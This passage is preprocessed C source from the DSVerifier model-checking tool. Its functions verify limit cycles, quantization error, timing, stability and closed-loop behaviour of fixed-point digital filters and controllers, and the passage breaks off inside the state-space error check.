# 278 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 34 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
extern digital_system ds;
extern implementation impl;
int verify_error(void){
overflow_mode = 2;
double a_cascade[100];
int a_cascade_size;
double b_cascade[100];
int b_cascade_size;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
double yf[X_SIZE_VALUE];
double xf[X_SIZE_VALUE];
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
double yfaux[ds.a_size];
double xfaux[ds.b_size];
double wfaux[Nw];
int i;
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
yfaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
xfaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
wfaux[i] = 0;
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
yf[i] = 0.0f;
xf[i] = fxp_to_double(x[i]);
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 156 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
yf[i] = double_transposed_direct_form_2(wfaux, xf[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 169 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
double absolute_error = yf[i] - fxp_to_double(y[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 35 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 1
# 13 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
int verify_zero_input_limit_cycle(void){
overflow_mode = 3;
int i,j;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
((void) sizeof ((
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ; else __assert_fail (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
"X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na"
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h", 23, __extension__ __PRETTY_FUNCTION__); }))
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 71 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = 0;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
fxp_t y0[ds.a_size];
fxp_t w0[Nw];
# 104 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
for(i=0; i<X_SIZE_VALUE; ++i){
# 141 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 188 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
extern hardware hw;
int generic_timer = 0;
int verify_generic_timing(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
double initial_timer = generic_timer;
for (i = 0; i < X_SIZE_VALUE; ++i) {
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.adiw) + (2 * hw.assembly.std));
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.cpi) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
y[i] = generic_timing_double_transposed_direct_form_2(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
double spent_time = (((double) generic_timer) * hw.cycle);
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
((void) sizeof ((
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ; else __assert_fail (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
"spent_time <= ds.sample_time"
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h", 89, __extension__ __PRETTY_FUNCTION__); }))
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
;
generic_timer = initial_timer;
}
return 0;
}
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_timing_msp_430(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 75 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
y[i] = double_transposed_direct_form_2_MSP430(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 121 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
}
return 0;
}
# 38 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
extern digital_system ds;
extern implementation impl;
int verify_stability(void){
overflow_mode = 0;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
((void) sizeof ((
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ; else __assert_fail (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
"check_stability(_a, ds.a_size)"
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h", 37, __extension__ __PRETTY_FUNCTION__); }))
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
;
# 83 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
return 0;
}
# 39 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
extern digital_system ds;
extern implementation impl;
int verify_minimum_phase(void){
overflow_mode = 0;
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
__DSVERIFIER_assert(check_stability(_b, ds.b_size));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
return 0;
}
# 40 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_stability_closedloop_using_dslib(void){
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
double * p_num = plant.b;
int p_num_size = plant.b_size;
double * p_den = plant.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 68 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
printf("Verifying stability for closedloop function\n");
__DSVERIFIER_assert(check_stability_closedloop(ans_den, ans_den_size, p_num, p_num_size, p_den, p_den_size));
return 0;
}
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
double nondet_double();
int verify_limit_cycle_closed_loop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
double * p_num = plant.b;
int p_num_size = plant.b_size;
double * p_den = plant.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
int i;
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux[i] = nondet_constant_input;
}
double yaux[ans_den_size];
double y0[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux[Nw];
double w0[Nw];
# 105 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= impl.min && waux[i] <= impl.max);
w0[i] = waux[i];
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
y[i] = double_transposed_direct_form_2(waux, x[i], ans_den, ans_num, ans_den_size, ans_num_size);
}
double_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 42 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_error_closedloop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
double * p_num = plant.b;
int p_num_size = plant.b_size;
double * p_den = plant.a;
int p_den_size = plant.a_size;
double ans_num_double[100];
double ans_num_qtz[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den_qtz[100];
double ans_den_double[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 77 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
int i;
double y_qtz[X_SIZE_VALUE];
double y_double[X_SIZE_VALUE];
double x_qtz[X_SIZE_VALUE];
double x_double[X_SIZE_VALUE];
double xaux_qtz[ans_num_size];
double xaux_double[ans_num_size];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x_qtz[i] = nondet_constant_input;
x_double[i] = nondet_constant_input;
y_qtz[i] = 0;
y_double[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux_qtz[i] = nondet_constant_input;
xaux_double[i] = nondet_constant_input;
}
double yaux_qtz[ans_den_size];
double yaux_double[ans_den_size];
double y0_qtz[ans_den_size];
double y0_double[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux_qtz[Nw];
double waux_double[Nw];
double w0_qtz[Nw];
double w0_double[Nw];
for (i = 0; i < Nw; ++i) {
waux_qtz[i] = 0;
waux_double[i] = 0;
}
for(i=0; i<X_SIZE_VALUE; ++i){
# 150 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
y_qtz[i] = double_transposed_direct_form_2(waux_qtz, x_qtz[i], ans_den_qtz, ans_num_qtz, ans_den_size, ans_num_size);
y_double[i] = double_transposed_direct_form_2(waux_double, x_double[i], ans_den_double, ans_num_double, ans_den_size, ans_num_size);
double absolute_error = y_double[i] - fxp_to_double(y_qtz[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 43 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double new_state[4][4];
double new_stateFWL[4][4];
digital_system_state_space _controller_fxp;
digital_system_state_space _controller_double;
double ss_system_quantization_error(fxp_t inputs){
digital_system_state_space __backupController;
int i;
int j;
_controller.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
__backupController.A[i][j]= (_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
__backupController.B[i][j]= (_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
__backupController.C[i][j]= (_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
__backupController.D[i][j]= (_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
__backupController.states[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
__backupController.inputs[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
__backupController.outputs[i][j]= (_controller.outputs[i][j]);
}
}
double __quant_error = 0.0;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_state[i][j]);
}
}
double output_double = double_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
__backupController.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
_controller.A[i][j] = __backupController.A[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
_controller.B[i][j] = __backupController.B[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
_controller.C[i][j] = __backupController.C[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
_controller.D[i][j] = __backupController.D[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j] = __backupController.states[i][j];
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
_controller.inputs[i][j] = __backupController.inputs[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j] = __backupController.outputs[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_stateFWL[i][j]);
}
}
double output_fxp = fxp_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
__quant_error = output_double - output_fxp;
return __quant_error;
}
double fxp_ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double temp_result1[4][4];
double result2[4][4];
double temp_states[4][4];
fxp_t K_fxp[4][4];
fxp_t states_fxp[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_fxp.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
reference_aux[i][j]=0;
K_fxp[i][j] = 0;
}
}
for(i=0; i<nInputs;i++){
reference_aux[i][0]= reference;
}
for(i=0; i<4;i++){
states_fxp[i][0]=0;
}
for(i=0; i<nStates;i++){
K_fxp[0][i]= fxp_double_to_fxp(_controller_fxp.K[0][i]);
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for(k=0; k<nStates;k++)
{
states_fxp[k][0]= fxp_double_to_fxp(_controller_fxp.states[k][0]);
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,K_fxp,states_fxp,result_fxp);
fxp_t reference_fxp[4][4];
fxp_t result_fxp2[4][4];
for(k=0;k<nInputs;k++)
{
reference_fxp[k][0] =fxp_double_to_fxp(fxp_quantize(reference_aux[k][0]));
}
fxp_sub_matrix(nInputs,1, reference_fxp, result_fxp, result_fxp2);
for(k=0; k<nInputs;k++)
{
_controller_fxp.inputs[k][0] = fxp_to_double(fxp_quantize(result_fxp2[k][0]));
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_fxp.C,_controller_fxp.states,result1);
if(flag == 1)
{
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_fxp.D,_controller_fxp.inputs,result2);
}
double_add_matrix(nOutputs,1,result1,result2,_controller_fxp.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_fxp.A,_controller_fxp.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_fxp.B,_controller_fxp.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_fxp.states);
return _controller_fxp.outputs[0][0];
}
double ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double result2[4][4];
unsigned int i;
unsigned int j;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_double.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference_aux[i][j]= reference;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.K,_controller_double.states,result1);
double_sub_matrix(nInputs,1,reference_aux,result1, _controller_double.inputs);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.C,_controller_double.states,result1);
if(flag == 1)
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_double.D,_controller_double.inputs,result2);
double_add_matrix(nOutputs,1,result1,result2,_controller_double.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_double.A,_controller_double.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_double.B,_controller_double.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_double.states);
return _controller_double.outputs[0][0];
}
int verify_error_state_space(void){
int i,j;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
_controller_fxp = _controller;
_controller_double = _controller;
overflow_mode = 0;
fxp_t x[0];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
